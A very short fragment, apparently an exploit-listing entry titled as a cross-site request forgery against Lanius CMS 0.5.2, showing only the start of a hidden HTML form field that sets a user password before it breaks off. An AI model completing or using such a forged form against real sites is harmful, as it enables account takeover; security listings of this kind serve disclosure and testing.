Lanius CMS 0.5.2 r1668 Cross Site Request Forgery

input type="hidden" name="userpassword1" value="...